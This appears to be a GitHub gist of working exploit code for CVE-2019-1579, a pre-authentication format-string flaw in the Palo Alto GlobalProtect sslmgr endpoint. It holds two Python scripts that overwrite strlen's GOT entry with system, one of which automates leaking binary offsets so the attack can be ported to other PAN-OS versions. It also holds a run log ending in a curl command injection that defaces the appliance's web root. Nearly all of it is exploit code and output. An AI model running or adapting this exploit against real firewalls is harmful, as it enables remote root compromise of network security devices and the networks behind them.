Last active
August 4, 2022 12:22
-
-
Save rqu1/d584ee6caf8d586fe01919a06c6ff360 to your computer and use it in GitHub Desktop.
CVE-2019-1579 fun times
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import urllib2 | |
import struct | |
# Constants | |
ip_addr= '172.31.21.2' | |
# PA-VM | |
# 8.0 | |
scep_offset=24 | |
host_offset=70 | |
AMP_BUF_OFFSET=170 | |
system_plt=0x407290 | |
strlen_got=0x625410 | |
amp_buf=0x7fffca7fbd40 | |
def num_to_addr(y): | |
x=struct.pack("<Q",y) | |
s='' | |
for i in x: | |
if i=='\0': s+='%10$c' | |
elif i=='%': s+='%%' | |
elif i=='&': s+='%'+str(AMP_BUF_OFFSET)+'$c' | |
else: s+=i | |
return s | |
def get_addrs_vals(addr,val): | |
val0=(val>>16)&0xff | |
val1=(val>>8) &0xff | |
val2=(val ) &0xff | |
addrs=(addr+2,addr+1,addr) | |
c=zip((val0,val1,val2),addrs) | |
return sorted(c) | |
def do_expl(cmd, system, strlen, amp_buf): | |
url = "https://%s/sslmgr" % ip_addr | |
av=get_addrs_vals(strlen,system) | |
val1,addr_1=av[0] | |
val2,addr_2=av[1] | |
val3,addr_3=av[2] | |
val2=val2-val1 | |
val3=val3-val2-val1 | |
fmt = "%"+str(host_offset+5)+"$lln" | |
if val1>0: fmt += "%"+str(val1)+"c" + "%"+str(host_offset+1)+"$hhn" | |
if val2>0: fmt += "%"+str(val2)+"c" | |
fmt += "%"+str(host_offset+3)+"$hhn" | |
if val3>0: fmt += "%"+str(val3)+"c" | |
fmt += "%"+str(host_offset+5)+"$hhn" | |
data = "scep-profile-name=" | |
data += 'AABBCCDD'+num_to_addr(amp_buf) | |
data += "&appauthcookie=" | |
data += '%9766c%'+str(scep_offset+1)+'$hn' | |
data += 'AAAABBBB' | |
data += "&host-id=" | |
data += "AAAABBBB"+num_to_addr(addr_1)+"CCCCDDDD"+num_to_addr(addr_2)+"EEEEFFFF"+num_to_addr(addr_3) | |
data += "&user-email=" | |
data += fmt + "A"*104 | |
data += "&user=" | |
data += cmd | |
data +="&hostid=id" | |
req=urllib2.Request(url,data) | |
response=urllib2.urlopen(req) | |
print response.read( | |
do_expl("test", system_plt,strlen_got, amp_buf) | |
print "curl -kd 'scep-profile-name=cmd' https://ip/sslmgr" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# automates some of the hard work of rooting your PA-VM with CVE-2019-1579 | |
# for more info see http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html | |
# originally based on https://github.com/securifera/CVE-2019-1579 but better | |
# | |
# This will exploit your palo, but the cooler part is that it automates finding the offsets of system and strlen | |
# There are a few PoCs of this vulnerability, but they only work for one version of the vulnerable binary. | |
# This will let you adapt those PoCs to new versions. | |
# | |
from pwn import ssh | |
import sys, struct, requests | |
requests.packages.urllib3.disable_warnings() | |
if len(sys.argv)<4: | |
print "Usage: hax.py <username> <password> <ip>" | |
exit(1) | |
# Constants | |
username = sys.argv[1] | |
password = sys.argv[2] | |
prompt = username + "@PA-VM>" | |
enable_dbg_cmd = "debug software logging-level set level dump service sslmgr" | |
ip_addr= sys.argv[3] | |
padding='z*aX'+" "*100 | |
ELF_BASE=0x400000 | |
PLT_ELSIZE=0x10 | |
# PA-VM | |
# If you are on panos 8.0, uncomment this section | |
# 8.0 | |
scep_offset=24 | |
host_offset=70 | |
AMP_BUF_OFFSET=170 | |
system_plt=0x407290 | |
strlen_got=0x625410 | |
amp_buf=0x7fffca7fbd40 | |
# ------------------ | |
# If you're on panos 8.1, uncomment this section | |
#8.1 | |
#scep_offset=28 | |
#host_offset=74 | |
#AMP_BUF_OFFSET=174 | |
#system_plt=0x407600 | |
#strlen_got=0x628418 | |
#stack_base=0x7fffe53d4840 #8.1 | |
# ------------------ | |
# If you're not on 8.0 or 8.1, you may have to gather this info yourself. | |
# The easiest way to do this is with https://github.com/securifera/CVE-2019-1579/blob/master/poc_leak.py | |
def get_leak(sh): | |
sh.sendline("tail mp-log sslmgr.log") | |
# Receive the output | |
sh.recvuntil(prompt) | |
sh.recvuntil(prompt) | |
# Get the leak data | |
leak_data = sh.recvuntil(prompt) | |
lines = leak_data.splitlines() | |
for line in lines: | |
if "SCEP cert request" in line: | |
elements = line.split(",") | |
for element in elements: | |
if "email" in element: | |
val = element.split(":")[1] | |
val=val[:val.find('z*aX')] | |
return val | |
return '' | |
# Enable debug | |
def enable_dbg(sh): | |
sh.sendline(enable_dbg_cmd) | |
# Receive the output | |
for i in range(8): | |
sh.recvuntil(prompt) | |
def leak_base(): | |
url = "https://%s/sslmgr" % ip_addr | |
data = "scep-profile-name=" | |
data += "A"*8 | |
data += "&appauthcookie=" | |
data += "B"*8 | |
data += "&host-id=" | |
data += "C"*8 | |
data += "&user-email=" | |
data += "%4$llx" + padding | |
data += "&user=" | |
data += "D"*8 | |
r = requests.post(url, data=data, verify=False) | |
out = r.text | |
if "502 Bad Gateway" in out: | |
print "[-] Error: Crashed. Aborting" | |
return False | |
return int(get_leak(sh),16)-(scep_offset*8) | |
def leak_at(addr): | |
url = "https://%s/sslmgr" % ip_addr | |
data = "scep-profile-name=" | |
data += 'AABBCCDD'+num_to_addr(amp_buf) | |
data += "&appauthcookie=" | |
data += '%9766c%'+str(scep_offset+1)+'$hn' | |
data += "&host-id=" | |
data += "AAAABBBB"+num_to_addr(addr) | |
data += "&user-email=" | |
data += '%'+str(host_offset+1)+'$s' + padding | |
data += "&user=" | |
data += "D"*8 | |
r = requests.post(url, data=data, verify=False) | |
out = r.text | |
if "502 Bad Gateway" in out: | |
print "[-] Error: Crashed. Aborting" | |
return False | |
return True | |
def get_addrs_vals(addr,val): | |
val0=(val>>16)&0xff | |
val1=(val>>8) &0xff | |
val2=(val ) &0xff | |
addrs=(addr+2,addr+1,addr) | |
c=zip((val0,val1,val2),addrs) | |
return sorted(c) | |
def do_expl(cmd, system, strlen, amp_buf): | |
url = "https://%s/sslmgr" % ip_addr | |
av=get_addrs_vals(strlen,system) | |
val1,addr_1=av[0] | |
val2,addr_2=av[1] | |
val3,addr_3=av[2] | |
val2=val2-val1 | |
val3=val3-val2-val1 | |
print hex(val1), "@", hex(addr_1) | |
print hex(val2), "@", hex(addr_2) | |
print hex(val3), "@", hex(addr_3) | |
fmt = "%"+str(host_offset+5)+"$lln" | |
if val1>0: fmt += "%"+str(val1)+"c" + "%"+str(host_offset+1)+"$hhn" | |
if val2>0: fmt += "%"+str(val2)+"c" | |
fmt += "%"+str(host_offset+3)+"$hhn" | |
if val3>0: fmt += "%"+str(val3)+"c" | |
fmt += "%"+str(host_offset+5)+"$hhn" | |
data = "scep-profile-name=" | |
data += 'AABBCCDD'+num_to_addr(amp_buf) | |
data += "&appauthcookie=" | |
data += '%9766c%'+str(scep_offset+1)+'$hn' | |
data += 'AAAABBBB' | |
data += "&host-id=" | |
data += "AAAABBBB"+num_to_addr(addr_1)+"CCCCDDDD"+num_to_addr(addr_2)+"EEEEFFFF"+num_to_addr(addr_3) | |
data += "&user-email=" | |
data += fmt + padding | |
data += "&user=" | |
data += cmd | |
data +="&hostid=id" | |
r = requests.post(url, data=data, verify=False) | |
out = r.text | |
if "502 Bad Gateway" in out: | |
print "[-] Error: Crashed. Aborting" | |
return False | |
return True | |
def num_to_addr(y): | |
x=struct.pack("<Q",y) | |
s='' | |
for i in x: | |
if i=='\0': | |
s+='%10$c' | |
elif i=='%': | |
s+='%%' | |
elif i=='&': | |
s+='%'+str(AMP_BUF_OFFSET)+'$c' | |
else: | |
s+=i | |
return s | |
def leak_from(start, length): | |
end=start+length | |
leaked="" | |
i=start | |
while i<end: | |
leak_at(i) | |
leak= get_leak(sh)+'\x00' | |
leaked+=leak | |
i+=len(leak) | |
return leaked | |
def fast_symtab(base,len): | |
fmt="<H" | |
ents=[] | |
for i in range(0,len,24): | |
ents.append(struct.unpack(fmt,leak_from(base+i,2)[:2])[0]) | |
return ents | |
def cstr(x): return x[:x.index('\x00')] | |
def fastsymtab_resolve(stab,strtab): | |
a={} | |
for i in range(len(stab)): | |
st=cstr(strtab[stab[i]:]) | |
a[st]=i | |
return a | |
# Connect to ssh host | |
s = ssh(host=ip_addr, user=username, password=password) | |
sh = s.shell() | |
sh.recvuntil(prompt) | |
enable_dbg(sh) | |
_=leak_base() | |
stack_base=leak_base() | |
amp_buf=stack_base+(AMP_BUF_OFFSET*8) | |
print "Stack base: "+hex(stack_base) | |
print "Reading ELF header..." | |
elfhead=leak_from(ELF_BASE, 0x40) | |
ehd=struct.unpack_from("<HHI3QI6H",elfhead,0x10) | |
e_phoff=ehd[4] | |
e_phnum=ehd[9] | |
print "Program header offset: %x\nProgram headers: %d" % (e_phoff,e_phnum) | |
print "Reading program headers" | |
phead=leak_from(ELF_BASE+e_phoff,56*e_phnum) | |
dyns=[] | |
for i in range(0,56*e_phnum,56): | |
phd=struct.unpack_from("<II6Q",phead,i) | |
if phd[0]==2: # p_type==PT_DYNAMIC | |
print "DYNAMIC %x @ %x " % (phd[6], phd[3]) #p_memsz @ p_vaddr | |
dyn=leak_from(phd[3], phd[6]) | |
for i in range(0,phd[6],16): | |
dyns.append(struct.unpack_from("<QQ",dyn,i)) | |
break | |
print "Finished parsing DYNAMIC section" | |
print "Extracting DYNAMIC entries..." | |
pltgotdat=None | |
strtabdat=None | |
symtabdat=None | |
pltbase =None | |
pltgot =None | |
for i in dyns: | |
if i[0]==3: #DT_PLTGOT | |
print "leaking PLTGOT @ %x" % i[1] | |
pltgot=i[1] | |
pltgotdat=leak_from(i[1],0x20) | |
pltbase=struct.unpack_from("<Q",pltgotdat,24)[0]-(2*PLT_ELSIZE)-6 #PLT_JMP_OFF | |
print "pltbase @ %x" % pltbase | |
if i[0]==5: #DT_STRTAB | |
print "leaking STRTAB @ %x" % i[1] | |
strtabdat=leak_from(i[1],0x2000) | |
if i[0]==6: #DT_SYMTAB | |
print "leaking SYMTAB @ %x" % i[1] | |
symtabdat=fast_symtab(i[1],0x1100) | |
syms=fastsymtab_resolve(symtabdat,strtabdat) | |
system_idx=syms["system"] | |
strlen_idx=syms["strlen"] | |
print "system idx: " +str(system_idx) | |
print "strlen idx: " +str(strlen_idx) | |
system_plt=pltbase+(system_idx*PLT_ELSIZE) | |
strlen_got=pltgot+(8*strlen_idx)+(2*8) # [*DYNAMIC, *link_map] _dl_runtime_resolve ... | |
print "system_plt="+hex(system_plt) | |
print "strlen_got="+hex(strlen_got) | |
print "amp_buf="+hex(amp_buf) | |
do_expl("test", system_plt,strlen_got, amp_buf) | |
sh.close() | |
s.close() | |
#r=requests.post(url,data="scep-profile-name="+cmd,verify=False) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python pa_vm_exploit.py admin changeme 10.0.0.7 | |
[+] Connecting to 10.0.0.7 on port 22: Done | |
[*] [email protected]: | |
Distro Unknown Unknown | |
OS: Unknown | |
Arch: Unknown | |
Version: 0.0.0 | |
ASLR: Disabled | |
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) | |
[+] Opening new channel: 'shell': Done | |
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:845: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings | |
InsecureRequestWarning) | |
Stack base: 0x7fffc27fb7f0 | |
Reading ELF header... | |
Program header offset: 40 | |
Program headers: 8 | |
Reading program headers | |
DYNAMIC 210 @ 625018 | |
Finished parsing DYNAMIC section | |
Extracting DYNAMIC entries... | |
leaking STRTAB @ 402530 | |
leaking SYMTAB @ 4002b0 | |
leaking PLTGOT @ 625230 | |
pltbase @ 406900 | |
system idx: 153 | |
strlen idx: 58 | |
system_plt=0x407290 | |
strlen_got=0x625410 | |
amp_buf=0x7fffc27fbd40 | |
0x40 @ 0x625412 | |
0x32 @ 0x625411 | |
0x1e @ 0x625410 | |
[*] Closed SSH channel with 10.0.0.7 | |
[*] Closed connection to '10.0.0.7' | |
$ curl -kd 'scep-profile-name=echo "hacked by r0bl0xgang" > /var/appweb/sslvpndocs/hacked' https://10.0.0.7/sslmgr | |
<?xml version="1.0" encoding="UTF-8" ?> | |
<clientcert-response> | |
<status>error</status> | |
<msg>Invalid parameters</msg> | |
</clientcert-response> | |
$ curl -k https://10.0.0.7/hacked | |
hacked by r0bl0xgang |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment